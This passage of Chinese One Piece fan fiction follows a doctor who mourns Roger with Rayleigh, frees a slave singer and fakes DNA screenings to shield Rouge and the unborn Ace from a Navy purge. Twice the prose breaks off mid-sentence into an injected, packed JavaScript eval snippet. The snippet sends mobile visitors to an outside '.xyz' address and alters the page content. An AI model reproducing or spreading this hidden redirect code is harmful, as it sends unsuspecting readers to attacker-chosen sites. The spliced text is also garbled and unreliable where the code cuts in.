茵弗瑟缩了一下,却被雷利牢牢抱住,他们好像又回到了他第一次发癔症的那个夜晚。他知道他为什么开始咬指甲了,那股病态其实从没离开他,只不过他好运到有人一直在他的身边。 他开始语无伦次地念叨,声音时高时低,敬语,礼仪,全都抛之脑后: “他对不起...他对不起?你知道他跟我说什么?他说''命运''!他怎么敢跟我说这种话...他怎么能!” 为什么不再给他一些时间?为什么不愿意选择他?一次也好,为什么他们都不选茵弗玛利? 因为可笑的,该死的命运? ''是命运指引我们相见,要和我一起去把这世界搅得天翻地覆吗?'' 黑发的青年向雷利伸出手。 “他有什么好对不起的呢?那个处刑台那么高,和礼祭的供桌一模一样了!别喝朗姆酒了,雷利先生!你该喝葡萄汁了!毕竟他流了那么多的血!” 一颗又一颗,像无处安放的爱,像没有尽头的叹息。 “我应该要救下他的,我才是最该对不起的,杰克逊号在哭呢。我连他的遗体都没法要过来,没法偷出来,你们都没能见他最后一面!” 雷利没有在意湿透他肩膀的泪水,他也开始流泪,开始骂罗杰是个多么自私固执的家伙,开始缅怀自己无法一同生死与共的兄弟。 泡泡破碎的声音远去了,月光也远去了,他们的悲伤那么黑,那么沉,淹没了整个香波地。 最后,雷利用沙哑的声音说:“你被宽恕了。” 罗杰,你被宽恕了。 茵弗埋在雷利的肩头,同样不在意打湿自己脖颈的泪。 雷利说的对,他长高了,长大了。 他已经比米森要年长,他不敢想象有一天自己比罗杰年长的感觉。 所以他闷闷地恳求,祈祷,向着这位永远宽恕他与罗杰的圣人: “...先生,我想同您一同老去。” 他们都湿漉漉的了,宛如新生的胎儿,宛如从溺水中上浮,死过一回。 - 走回敲竹杠酒吧,茵弗有些意外地发现夏琪没有休息,而是借着一盏灯读着什么。 他有点不好意思地打招呼,毕竟刚才闹的声音不小,也不知道给夏琪留下什么印象。 漂亮的老板娘没提他和雷利在外面是怎么互相把对方拼凑起来的,只是问他要不要吃夜宵。 然后茵弗收获了夏琪的香吻一枚,剩咖喱煮的乌冬一碗。 不知道是这几天哭得太多还是怎么样,他难得有点胃口,拌着炖的绵软的土豆吃了半碗。 雷利没问他做游医的这一年多辛不辛苦,有没有遇到危险,他只是在他放下筷子的时候敲敲他的手指,让他在外面也要记得好好吃饭。 所以他又拿起筷子吃了一口面条,回嘴说,您也记得少喝点酒。 他们有一搭没一搭的闲聊,捡些有趣的事情说,直到雷利问他接下来还是一边旅行一边行医还是回磁鼓岛。 “我想去北海...不 、先去巴苔里拉。” 雷利正往自己的柠檬苏打里兑威士忌,随便问了一嘴去南海干嘛。 然后在茵弗回答的时候差点没把瓶子掀了。 “罗杰有孩子??” “他拜托卡普先生了,然后卡普先生告诉了我。” 茵弗这下彻底没胃口了,戳着半碗乌冬,看着它在筷子间滑来滑去。自从知道政府可能已经知道罗杰留下了血脉的担忧又涌上心头,随着他的话一起传到冥王先生的耳朵里。 雷利又往杯子里加了点威士忌。 “你...小时候总说的那句话怎么说的来着?总之,你没必要为罗杰的选择负责。” 茵弗奇怪地斜他一眼:“您是在让我放弃?” 雷利摇头:“我也许可以去看看,或者找一些老朋友帮忙,我只是说,你没必要出于愧疚或者别的什么觉得亏欠我们,亏欠罗杰。” 他已经为罗杰海贼团忙碌太久了,他该去享受自己的年纪,想做医生就做医生,想旅游就旅游,收集一堆除了他没人能发现美的奇怪玩意。 不想笑他可以不笑了,不用再说对不起了。 这个也算是在雷利眼前成长的少年对着他做了个鬼脸。 “您在说什么呢,我可是刚刚才被宽恕了。” 雷利想说自己是认真的,茵弗却拉住他的手,制止了他的话。他巧克力色的皮肤上添了不少伤疤,指甲被咬的破破烂烂的。 “我爱着您们呢。” 雷利鼻子一酸,不过他今天已经哭得够多了,所以他只是笑。罗杰啊罗杰,你可真是个好运的混蛋。 “知道了,吃你的乌冬吧。” “吃饱啦——” 夏琪合上手里的情报纸走过来,微笑着收走了茵弗没吃完的夜宵包好放到冰箱,“别听老雷的,吃不下就不吃了。”她在茵弗感谢她时又亲了他一口,然后给自己点了一支烟。 “不过,既然卡普已经在海军那里为你安排了身份,也许你不需要那么急。” 茵弗歪头,身份?他就是''临时随船军医''之类的吧?这和他需要提前去搜查的海军一步到巴苔里拉有什么关系。不如说反而会显得可疑吧。 夏琪吐出一口烟:“你是个医生,小茵弗。”她晃晃手里的情报纸,“一个足以让我从各方势力收到情报需求的''奇迹医生'',也许你不需要提前去巴苔里拉。” 嗯...嗯...什么意思...? 茵弗对上雷利好像明白了什么的表情,更困惑了。不过他只是说:“如果我需要您的帮助,雷利先生,您会来吗?” 雷利有些意外,举起酒杯在茵弗盛满牛奶的杯子上碰了一下:“当然了,小子,我就在香波地。”他露出一个有些孩子气的笑容,“我退休了,罗杰可管不着我了。” - 他在敲竹杠和雷利又腻歪了几小时,然后在日出时赶回旅店。 库赞正好在晨练,看他从外面回来有些意外,茵弗及时递过早就买好的作为借口的早餐。 高大的海军青年没说什么,点头感谢了他带的三明治,询问他今天准备干什么。 “嗯...去医院给我的药箱补充点物资,然后买点合适的眼药水和伤药给朱尼尔他们带去...然后...逛逛香波地?您有什么想做的吗?” 库赞耸肩:“这里离总部近,我来过几次了,跟着你走就行。” 茵弗:“去游乐园?” 库赞咬了一口三明治。 事情进展的还算顺利,不过茵弗觉得自己可能跟香波地乐园犯冲,在他们忙完琐事准备去游乐园的时候,库赞接到了来自卡普的电话虫。 茵弗没有想到...只是为了一个孩子,竟然要做出这样的事吗? 排查所有时间符合的孕妇和婴儿,然后''将海贼王遗留的危险消除在萌芽之中''。 为了一个没有办法选择自己父亲是谁的孩子? 为了一位没有办法选择自己会爱上谁的妈妈? “总之,事情还没定下来,反对的支持的吵的厉害!但是老夫估计差不多也就是这么个烂结果了。不过!他们的事跟你要做的无关,你又不是海兵,老夫既然把库赞这几天借给你了,那也不着急还,你找个理由就好。” 茵弗听出来他的暗示,感激的笑了笑,希望电话虫不要连着他的僵硬一起传过去。 “是...谢谢您、茶还好用吗?” 卡普:“啊,还不错!老夫的几个老伙计也很喜欢,还问我哪来的,有机会带你见见!” 咔嚓。 茵弗握着沉睡的电话虫拐出小巷,意外地发现库赞就靠在墙上,而不是像一开始一样站在对街。他悄悄捏了把冷汗,不知道对方有没有听到他们的对话。 “谢谢您,库赞先生,我们暂时聊好了。” 他不讨厌这个海军,恰恰相反,所以如果非必要,还是不想因为这些事情而产生隔阂甚至反目。还好,对方自然地对他点点头,收起电话虫,只是没有开口,所以他不确定这到底是什么反应。 但是他太局促反而会显得心虚,所以他仍然挂着笑,随便选了个方向走——游乐园是没心情去了,他怕他本来就因为听到了海军计划而有些不适的胃在随便体验个项目之后就呕出来。 “卡普先生那边还要几天,不过他说基本搞定了。” 库赞点了点头:“卡普先生一般不太参与这些决策的事情,大部分时候就是在会议上睡觉。” 茵弗:“诶?这么厉害?” 库赞:“是吧?” 他们随便聊着,茵弗大部分脑子都在想要怎么办,还要分神和库赞说话,根本没注意到底往哪走。反正他说今天要逛逛香波地,逛哪不是逛啊。 直到库赞停下脚步。 茵弗疑惑地看他,又顺着他的视线环顾四周——啊、人贩店。 香波地因为地理位置,经常会有天龙人下界挑选奴隶,人口贩卖也就在这里最为夸张,也最合法。 他好像听说因为''贩卖奴隶是违法的'',所以一般政府和海军会将人贩店称为''职业安定所''。 有点可笑,但是看库赞脸上的表情,他没有这么说,只是打了个响指让对方回神,然后换了个方向走。 如果乙姬在这里,会因为见闻色过载而哭到昏厥吧,茵弗想着,不知道自己听不到是好事还是坏事——一定很吵。 不过他能听见一些抽泣声,一些谩骂,一些鞭子的抽打,还有歌声... 歌声? 他顿住了,整个人陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859694|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入一种巨大的震惊,在库赞疑惑的眼神里四处张望,寻找着那阵歌声的来源。 他向某个方向跑了过去——一个铁笼内的金发的少女,不是米森,当然不会是米森,但是哼唱着那首,不是礼赞的歌。 他紧紧握住铁栏杆,将对方吓了一跳,歌声也就停止了。 “您...您...” 他突然不知道该说什么。一股巨大的失落和欣喜交杂在一起,烫得他手指发麻。 “...您叫什么?” 蓝裙子的少女露出一个小心的微笑:“史黛拉,大人,我叫史黛拉。” 茵弗点头,没在意跟过来的库赞,努力地再次露出笑容:“您的歌声很好听,史黛拉小姐。” “您...来自于哪?” 史黛拉有些意外,一般来挑选奴隶的人不会在意她来自哪,她叫什么,他们只会打量她的脸和身体,关注她能做什么。 除了泰佐洛,没人在乎其他的东西,面前这个奇怪的年轻人是第二个。 “南海,大人。” 不是亨姆岛,甚至不是北海。 茵弗咽了口口水:“您...愿意跟我走吗?” 史黛拉露出一个有些悲伤的笑容:“如果大人希望的话。” 库赞不太明白事情的发展,刚刚还走得好好的人怎么突然跑去买奴隶了? 他有些震惊地看着茵弗玛利叫来老板,询问史黛拉的价格,然后轻松掏出一大卷贝利。那个贼眉鼠眼的老板见到这一幕摸摸下巴,说他记错了,对着史黛拉评判一番,要求加价。 茵弗玛利只是又掏出来一卷贝利,不是很想跟他讨价还价的样子。 那个商人又开始嘀咕什么这两天要有天龙人大人来,那些大人已经看上史黛拉了,如果客人一定要买的话... 然后库赞眼睁睁的看着茵弗玛利抽出佩刀,在刀鞘上覆盖上一层武装色后狠狠地把老板抽在地上。 卡普先生...您确定他需要我的保护吗? 不过...他想想之前自己隐约听到的对话,也许卡普先生不是派我来保护他的。 茵弗没工夫关注库赞的心理活动,他把刀鞘又往这个令人讨厌的商人胸口压了压,引起对方一阵哀嚎后笑眯眯地说: “如果让我给这里笼子内的任何一人定价,我会说多少钱都是合理的。但是——”他抬起刀鞘,在对方发出一声窒息后的急喘后又怼住了他的脸颊,“要把钱给你这种家伙还真是让人不爽啊,一文不值的垃圾。” 他接过地上的家伙颤巍巍地递过来的契约和钥匙,然后捶晕了他,随便地把那卷贝利丢在他身上。 史黛拉有些害怕,强忍着颤抖任由茵弗打开了她的铁笼,在对方摸上她脖颈上的项圈时下意识地阻止了他。 “这、这个会爆炸的。” 茵弗点点头:“原来如此,我会再小心一点,请尽量别乱动。”说着就手很稳地将项圈的钥匙插入,咔哒一声,史黛拉不知在脖颈上,在她的灵魂上栓铐了多久的枷锁就被打开了。 金发的少女正迷茫而震惊地抚摸她因为戴了太久的项圈而皮肤变得有些发红的脖颈,她的怀里就被塞了一个罐子,和...之前茵弗掏出来的另一卷贝利。 “喏,我不想给地上的那个家伙钱不代表我不认同您值更多的钱,一会儿我们去买点衣服吧?我不太懂您可能会喜欢的风格,还是您想先吃饭?” 他看史黛拉愣愣的拿着钱和药膏,又指指那个罐子:“您脖子上可以用这个涂一下,可能一开始有些凉凉的刺痛,不过很快就好了,我直接上手替您上药太失礼了。” 不太想在这里多呆,他做了个引导的手势,率先跨出铁笼,对上库赞微微上扬的嘴角。 茵弗:“?怎么?看我打人,您心情好起来了?” 库赞看看他,看看地上仍然在昏迷的人贩,最后视线扫过跟过来的史黛拉,没忍住发出一阵畅快的笑。 - 算是意外收获了,但是茵弗最烦恼的事情仍然没解决。他们三人吃过饭,给史黛拉置办了一些新衣服和日常用品之后去了海岸边。 茵弗将那张契约折成了一个纸飞机,向海中投去。 没飞多远就沉了,上面的字迹也被海水晕成漆黑的一团,再也看不清了。 他躺在地上,一边思考着,一边等着某个泡泡能从他身体底下钻出,带着他一起飞到蓝天之上。 “要是能飞就好了...我可以现在就飞到巴苔里拉...” 他嘀咕着,在史黛拉的泪水终于流完之后询问对方是否可以给自己唱歌,那首不是礼赞的,之前她唱的歌。 在史黛拉仍带着哭过的鼻音的哼唱里,库赞也盘腿在他身边坐下,在短暂的犹豫后询问道:“你..为什么急着去巴苔里拉?是要去救谁?” 茵弗下意识紧绷了一下,斟酌着开口:“...您听到多少?” 库赞摇摇头:“不多,但是能猜到一点。” 在感受到自己身体底下真的有一个泡泡要冒出来的时候,茵弗反而翻了个身。 “唔...既然您都猜到了,就不要问了。” 库赞:“为什么去?” 茵弗:“什么为什么?因为有1%的可能,因为我在,一个无辜的孩子能长大,和他的妈妈一起变老。” 他看了眼库赞皱着的眉头,坐起身子,支起下巴看海。 “库赞先生,存在是罪吗?” 夕阳给他们三人镀了一层金边,库赞咬着嘴唇,不知道该说什么。卡普先生是默许这件事的,他会说什么呢? 他想到模糊听到的,关于要''处理''所有符合时间阶段的孕妇和婴儿的决定,后背渗出冷汗。 海贼王的骨血不提,其他的那些...被''排查''的人...他们的存在...也是罪吗? 所以他说:“''一个''孩子和''一位''妈妈吗?” 茵弗愣住了。 他是个医生,一个很好的,有一些名气的医生。海军英雄给他安排了身份,只需要稍微调整。 他不需要提前到巴苔里拉。 他猛地跃起,紧紧抱住了库赞,身上沾的树脂蹭到对方身上也不管,发出一阵愉悦的笑声。 “您说的对!不是''一个''孩子,和''一位''妈妈!” 他在这个可爱的海军脸上吻了一下,不顾对方的错愕拉开距离,伸手讨要电话虫,“谢谢您,库赞先生!别担心,交给我吧!” 当眉角带疤的脸浮现在电话虫上时,他捏紧了话筒:“卡普先生!您当时''担保''我的时候用的什么理由?” “也就是说我是记录里最后一个接触他的''医生''吧?” 看到电话虫扬起的笑脸,他也笑了:“没错,您可以跟那边争吵的人们提了,不必吵了!''奇迹游医''茵弗玛利,会帮您们的,不是吗?” 37.星星与扶桑花 有时候茵弗觉得还好自己''出名''的这近两年时间处在一个混乱的状态里。 说好听点大家都知道他''随心所欲不拘小节'',说难听点就是''生性奇怪行为无常''。 所以在他拿出罗杰的DNA样本的时候,随着卡普一同来谈判的海军,包括那位名为鹤的女士只是对他的说辞点了点头。 也许自己曾经帮过一些受伤濒死的海军,甚至是帮他们战斗的事情也给这位女士留下了好印象,加上自己的年龄,她看自己总会露出一点慈爱的微笑。 一根罗杰的胡子,成了他成为帮助海军检测比对罗杰血脉负责人的船票。 他表达对海军在他受伤时帮助的感谢,大肆夸赞了一下库赞,顺理成章地传达了愿意帮助海军,减少他们人员调动的压力的意愿。 当然,他要了报酬,一些钱,一个去海军总部参观的机会,还有跟着他在那边驻守一年的海军必须无条件提供他所需的帮助。 鹤在听到他索取报酬的时候反而送了一口气,虽然这位年轻的小医生出名的一大原因之一就是诊费时高时低,也有不少不求回报的时候,但是这件事太敏感。如果一点回报都不收,鹤就会更怀疑为什么他突然跑出来要''帮助''海军了。 总之,在事情基本都谈妥之后,茵弗玛利已经在和鹤中将喝茶了。 “这是专门为了卡普先生调的茶,当然,大家都可以喝,但您也知道,一个好医生会针对每个人开出最合适的药方。”他有些顽皮的对着鹤歪歪头,“您真美丽,鹤女士,下一次我可以为您调更合适的茶,您的工作是参谋?神经放松和滋养皮肤的怎么样?” 鹤慈善地笑笑,感谢了他的好意,她喜欢聪慧机灵的年轻人。 跟着鹤一起来的也有几位曾经受过他帮助的海军,说是一直没有机会感谢,听到长官说要见''奇迹游医''就一起来了。 虽然不记得他们,甚至在他们说自己做了什么之后都完全想不起来,但是茵弗觉得他们这种有点笨蛋的淳朴挺可爱的,虽然这种诡异的,有点像是被尊敬崇拜的态度让他有点不习惯。 自己是通过触摸触发能力没错啦,但是握一下他的手就能一年不生病这种话是谁传出去的?他是神出鬼没了点,怎么变成什么珍惜物种一样了。 茵弗揉着因为和海军谈判而阵痛的额头,回到旅店收拾行李。 他没去敲竹杠和雷利夏琪告别,就算卡普不管,鹤在这里,她太敏感聪明了。 史黛拉已经帮他把东西收拾好了,虽然他本来带的东西就不多。意外的是,库赞也在。 “卡普先生回来了,我以为您会像个大狗狗一样第一时刻跑过去汇报任务呢。” 库赞有些无语的拍开对方戳到他身上的指头,蔓延的冰只是一瞬就被霸气震碎了。 自从知道茵弗玛利不弱,甚至是高级霸气的使用者,他俩在香波地闲着没事切磋了几次。自己是自然系的果实,遇上霸气当然还是实打实地挨了几刀鞘。 “我会负责带着军舰把你送到巴苔里拉。” “诶?您要跟着我驻守吗?” “不,我会离开。” “那祝您武运昌隆。” 他们都没提二人心知肚明的秘密——茵弗到底一开始为什么要去巴苔里拉。 也许不提,库赞就可以当做不知道,他不知道,那么就不算知情不报,不算背叛正义。 茵弗玛利纯甄地亲吻他的脸颊,身上被阳光打得金黄柔软,他说“别担心,交给我吧。” 明明自己才是''燃烧的正义'',火焰却在上层的决定下摇曳了,而这个说自己没有正义的医生,护住了他的火。 他会在库赞燃烧不到的地方救下无数无辜的孕妇和婴儿,所以他想,自己至少可以在对方救他最想救的那一对时偏过头。 军舰速度快,他们二人仍然切磋,吃饭,库赞喝雪利酒,茵弗玛利喝牛奶。一人在自己的房间和医务室之间忙碌,一人站在甲板上指挥手下的海兵。他们怀揣着那个共同的秘密。 偶尔他们会在夜晚躺在甲板上聊天。 海军是军队,有行为准则,有禁令,没有这种烂漫自由的习惯。 库赞在提到时,茵弗只是告诉他,在暴雨后的夜晚,如果库赞光着脚在甲板上走,就会觉得自己化成了水,化成了空气,一切都冷冽清脆,抬头鼻尖上就能碰到星星。 库赞用果实能力将自己半化成冰,呼出一口白气,说,“和这样差不多吗?” 然后茵弗玛利在他鼻子上弹了一下,说:“喏,星星。” 有时候史黛拉会和他们一起,这个不幸的女孩由一开始的小心翼翼变得逐渐放松,和茵弗一起听库赞讲海军的事,也会吐露一些自己没有被抓去做奴隶前的经历。 茵弗倒是不怎么讲他的过去,也不说做游医的时候的趣事,只是在史黛拉终于鼓起勇气说出自己在香波地遇见一个很好的人叫泰佐洛的时候夸张地倒在库赞身上。 “完蛋了,您怎么不早说,我根本没意识到还有挂念您的人,连一句口信都没留。” 他在她变得不安的时候连忙安抚: “没事的,我不是在责备您,如果您想,库赞先生离开的时候可以带您回香波地找他,您不必停留在我这里。” 史黛拉只是摇头,在月色下晶莹的泪珠像她的名字一般闪烁。 库赞挠着头,想把气氛弄得轻松点,所以他任由茵弗玛利靠着,用很苦恼的语气说:“啊啦啦,你都不先问我的意见吗?” 茵弗用覆盖霸气的手掌把他曲起的腿拍的啪啪作响:“难道您会不同意?神啊!别逼我贿赂您。” 库赞对着史黛拉破涕为笑的脸认真地说:“我会同意的。” 军舰很快。 茵弗上岛后没有急着去拜访罗杰的那位爱人,海军是他的优势,也是他的阻碍。 他们会不自觉地成为他的共犯,但是也是一群监视他的眼。 包括库赞。 他不确定如果对方知道自己并不是出于对海贼王无辜妻儿的同情,而是出于对罗杰的爱才来做这件事会不会失望。 巴苔里拉的环境很好,适宜种花,镇子不大不小。 茵弗不知道罗杰为什么选择了这里,又是指引他的命运?不过,他抽抽鼻子,至少这里的气候不会让他那段时间过于难受。 他没有跟着海军去通告居民,但是也没有拒绝让他住在军舰上的安排,他去了镇上的医院,说明自己的来意,并表示自己愿意除了海军的工作外在这里搭把手。 他经过南海时没有来过巴苔里拉,不过看其中几位年轻的医生的反应,大概是听说过他的,半是警惕半是好奇。 他需要声望,需要信任,不论是在海军那边还是居民这里。他需要如果哪天自己''出现疏忽'',他们会因为他的一贯的中立和可靠将其一笑而过。 他不能突然去打听''露玖'',但是不用他去找,他也见到她了。 对方在见到他的时候对他温柔的笑笑,将粉金的头发別到耳后,扶桑花瓣和发丝一同在风里轻微摆动。 “来镇上负责调查的医生真年轻呀,久仰大名了。” 她主动伸出手,礼貌地与他相握,一触即离。 那一刻,他意识到对方就是他要找的人。他在她身上听到了一道熟悉的深渊。 “辛苦了,有机会到我家喝杯茶吧?” 在正式开始排查前的准备工作要几天,那些他都交给一同前来的海军,也没有对他们封锁岛屿出口的行为说什么。 他花了两天时间在镇上社交,去一些镇民家里做客,然后在第三天敲开了离镇子最远的小木屋的门。 露玖对他的到来没有意外,只是将他请进她干净温馨的小屋,用一杯牛奶作为招待。 “你就是茵弗玛利吧?他跟我说了很多你的事呢。谢谢你。” 茵弗盯着那杯牛奶,深吸了一口气。 ''罗杰让我替他说对不起'' 他好像听到雷利的声音。 露玖:“抱歉我这里没有吐司了。” 他重新扬起笑容:“药还好用吗?” 露玖点头:“他没有过痛苦。” 他不太想知道罗杰都跟露玖怎么说他的,又用了什么表情,他手里的温牛奶够滚烫了。 所以他们没有再提,茵弗拉过露玖的手,细细地听着,在听清那道深渊时松了口气。 还很浅,不算太吵,这次他还来得及。 “您做了什么?除了霸气,有药物干预?” 露玖温柔地抚摸着小腹,明明已经怀孕几个月了,却平坦地一点都没有显怀。 “我没有想到你会来,茵弗玛利,所以我做了一个妈妈该做的事。” 茵弗点头:“但是我来了,叫我茵弗吧。”他露出几颗牙齿,“小黑也行。” 讲完计划后离开露玖的家,星空已经笼罩了巴苔里拉。明天,排查将会正式开始,今夜,他需要做的最后一件事就是和库赞告别。 “真是太帅了,在海上骑自行车什么的。” 库赞笑笑,接过茵弗玛利递过来的包裹。 “你今天去哪了?” 茵弗:“老样子,去热情的镇民家做客。” 库赞:“平常你可不会呆这么久。” 茵弗歪头打量这个给自己唱了歌的海军,没有回答。从在露玖家就憋着的那口气终于在冻结的海湾上凝成一股白。 库赞跨上自行车,随便旋了两下车铃,他知道茵弗玛利很喜欢这个''叮铃叮铃''的声音。 “嘛...如果那孩子走上跟他父亲一样的路,我是不会手下留情的。” 茵弗耸肩:“那种事情,是祂的选择。我只是医生而已。” 来送行的人离开,要离开的人回头,目睹茵弗玛利挺直脊背远去,就像奔赴他的战场。 - 茵弗没有和露玖过多的接触——至少明面上如此。 他安排了史黛拉去照顾她,他们二人都是带卷的金发,史黛拉声称是露玖远房的妹妹,在被茵弗救下后随着他一起到巴苔里拉投奔多年后仅剩的亲人。 船上的海军是知道她是茵弗玛利买回来的奴隶的,她又确实是南海人,听她这么说也就露出同情的神色。 镇上的人在露玖露出悲伤的神情时,也纷纷对她没有提过自己未曾谋面就被抓走的妹妹表示理解,连带着对茵弗玛利的好感也上升不少。 茵弗很感谢史黛拉,因为要跟着他搭乘军舰所以要记录信息没办法,但是她没必要将自己曾经做奴隶的痛苦抛出去。他可以想别的办法将她送到露玖身边。 “茵弗大人,我希望能帮上您,没人在乎奴隶,所以没人在乎我的过去,即使他们去查也只能从人贩那里查到我被拐于南海,其余都是一片空白,我可以随意将其扭曲。” ''记住了,猫崽儿,最简单的谎言最不容易让人怀疑。'' 扎着马尾,从芋头那骗来一瓶好酒的斯宾塞醉醺醺地跟他说。 他在医院帮忙,也按自己''游医''的性子去别人家里看诊,免费体检,这样每隔一两周就可以去探望露玖一次,给她因为霸气抑制和药物使用而变得虚弱的身体焕发生机。 在军舰上,他给海兵们改良伙食,调理旧伤,拜托他们因为岛屿封锁而派人出去为巴苔里拉运回需要的物资。 “你要巧克力干嘛?在岛上找到漂亮姑娘了?” 经过这段时间的相处,达米安上校已经和茵弗玛利很熟了。自己曾经重伤留下的旧伤也托这位友善的医生的福,不再在阴雨天让他感到疼痛。 虽然他想要自己的勋章之一做给全船免费治疗的报酬一事被自己拒绝了。不过他不介意在派人去附近的岛采买时给对方带点小玩意回来。 茵弗哥俩好地拍拍他的肩膀:“岛上到处都是美丽的女性,我上次还看到五街的那个很喜欢铃兰的姐姐对您眨眼睛呢~” 达米安带着伤疤的脸憋的红红的,随便地在手里的清单盖上章:“行啦行啦给你带!下次需要什么写好给我就行,少跑到我办公室商量,反正会给你过的。” 茵弗竖起大拇指,有些顽皮地倒退着溜出了办公室,没走两步又被见到他海兵搭上了肩膀。 “茵弗医生今晚上给兄弟们做饭吗?上次你做的咖喱真好吃,虽然有点辣但是感觉吃完力气都变大了。” 茵弗:“下次后厨想知道我怎么做的直接让他们问我就行,每次都让您们传达也不怕您们记错了。” 在海兵们的嘻嘻哈哈里,茵弗询问:“您们喜欢喝茶吗?” 随行的军医放下茶杯,听着他和巴苔里拉的医生们的例行会议叹气。 虽然自己除了帮忙审查外,也有要''监督''茵弗医生的工作在,不过随着日子的发展,还是有些想要敷衍了。 每天报告总不能又写''X月X日,茵弗医生教授药方X种,从患者那里收到花束X把''吧? 茵弗不知道他叹什么气,有些狐疑的看他一眼就收回视线,继续说道: “总之,这些配方都是我最近研究的,这个岛上很适合大面积种植一些可以入药的花草类,丘陵上也很适合种茶。” 巴苔里拉的医院主任是一个看起来比他大了至少40岁的大汉,外表粗犷却是学儿科出身,心思细腻。不过被他叫''茵弗老师''还是有点怪怪的。 主任感激地点点头,接过茵弗递来的几张纸,戴上眼镜仔细研读。 “茵弗老师,也许我可以和镇长商量一下和您达成合作?除了在医院贩卖给有保养需求的患者外,能否对外出售?这不仅对我们医院,对整座岛都是好事。有关种植一事也更好安排。” 茵弗听到他的称呼还是毛了一下,摆摆手算是同意了。 至少他成了巴苔里拉的合伙人,花草茶他最先配出来的那个能随时买到就行。 - 露玖接过史黛拉递来的茶,感谢地点点头。现在小心地伏在她膝上的少年有时候会让她想起那个笑容灿烂的男人。 ''露玖小姐!你喜欢扶桑花是吗?我带来了!雷利总跟我说要给女孩子送花!'' ''露玖夫人,您喜欢扶桑花吗?我给您调了一款对身体好的花茶!我最近发现好多海军都挺喜欢的呢!'' 两个人手里都拿着一大把乱糟糟的花束,脏兮兮地冲她笑。 “...这是我给您和史黛拉带的糖果,您上次说巧克力吃起来有些犯恶心,所以我分给孩子们了。” 茵弗跪坐在露玖旁边,脸颊贴在她腿上,有些懒洋洋地一样一样地从带来的包袱里拿东西。 “这是隔壁岛很有名的一家服装店新出的童装,是不是很可爱~”他笑了笑,“达米安上校听到我说想让他们采买物资带童装回来的时候表情可好玩了,我就说是给那些通过排查的孩子们的恭喜礼物。” 笑容温柔的女性将茶杯放到一边,一手抚摸在肚子上,一手梳理着他的头发,回答说:“可是你不是说是男孩子吗?粉色花边?” 茵弗:“告诉艾斯不要那么拘泥与那些东西!他爸爸可喜欢穿粉衬衫了。而且我穿过女式的和服,我当时感觉自己可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867920|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮了。” 他小心地也摸摸露玖的肚子:“艾斯也会和您一样漂亮的。” 她看着史黛拉和茵弗叽叽喳喳地对带来的童装评头论足,又取来她们平时自己缝制的一些幼儿装,很认真地点头品鉴。 壁炉里烧得旺,屋子里还留着一股晚餐时茵弗熬的鱼汤的味道,地上散落着各种孩子的玩具和用品,明明孩子还没出生——但是也很快了,比她准备得要早很多。 ''您不可以继续抑制孕期,那会让您听起来和罗杰先生变得越来越像。'' 那时茵弗很认真地对她说,脸上失去了罗杰所说的''猫一样的笑''。 ''不论是艾斯还是安,都不能失去家人。'' 也许是那时他神色的悲伤吧,让露玖点了点头。 她轻轻晃动摇椅,听到茵弗惯例地,请求史黛拉为他哼唱那首童谣般的歌。看来最近又很累啊,他总是爱听这首歌,就像汲取什么力量一样。 在她询问时,史黛拉说她也不知道这首歌出自哪儿,她喜欢唱歌,也是小时候从某处听来的。 露玖都听会了,所以她也轻声加入了旋律。 茵弗有些意外地看向她,然后在她的笑容里揉揉眼睛。 “谢谢您...” 露玖:“不,是我们要谢谢你。” 她、艾斯、罗杰、史黛拉、这座岛。 哥尔·D·罗杰在海圆历1500年到巴苔里拉。 哥尔·D·艾斯在海圆历1501年七月降生,在妈妈的腹中呆了十五个月。 茵弗整理好最后一批DNA对比文件,交给和他一起的海军军医核查。在对方点头后给海军总部去了电话。 “空先生,最后一批符合时间期限的孕妇和婴儿都已经通过核查,没有海贼王的孩子。档案我已经全部交给海军方归档。” 还挺有意思的,他还是第一次给自己做DNA检测呢。 “你确定吗,茵弗医生?政府调查确切罗杰曾在巴苔里拉有过与女性的亲密行为。” 茵弗挑挑眉毛,将自己的表情全部传递过去。 “先生,正常生理情况下男女同居,未采取避孕措施,每个月受孕的机会为20%,半年怀孕的机会为70%,一年怀孕的机会为80%。” “人类最佳受孕年龄为女25~27岁,男27~35岁,海贼王这个年龄还海上漂着呢吧?而年龄越大受孕几率越小...” 钢骨空听着对方突然叭叭叭地给他讲解生理知识真是头都大了。而且电话虫的表情越来越让他不适,就像是在跟什么可怜的笨蛋科普常识一样。 “确实就算是短暂的亲密关系也不一定会留下血脉,我知道了!” 茵弗笑笑:“怀孕的全过程约为280日即40周,就算从处刑日算起,也超过这个期限了,不过,如果您不放心,我会在南海再呆几个月。” 海军元帅叹了口气,对方愿意做到这个地步,他也没什么好说的了,有着确凿的证据,世界政府也能满意了。 况且,他确实对不必下令让海军们去屠杀一群无辜的妇女孩子这件事对这位年轻的医生表示感激。 罗杰的血脉看来确实是断绝了。 “辛苦你了,医生。鹤说你当时提的要求里有想要来马林福德参观。”他下意识因为这个孩子气的请求露出微笑,“海军总部随时欢迎你。” “当然,元帅先生,我会带着茶。巴苔里拉现在有一批很好的特调茶。” 茵弗拐入医院最好的一间病房,靠在门框上凝视里面昏睡的母子。 最危险的时候,度过去了吗? 他不能肯定,这更像短暂的喘息。 人脉,力量,知识,信任,话语权...这些他为了保住露玖而在巴苔里拉运作的东西,未来只会需要更多。 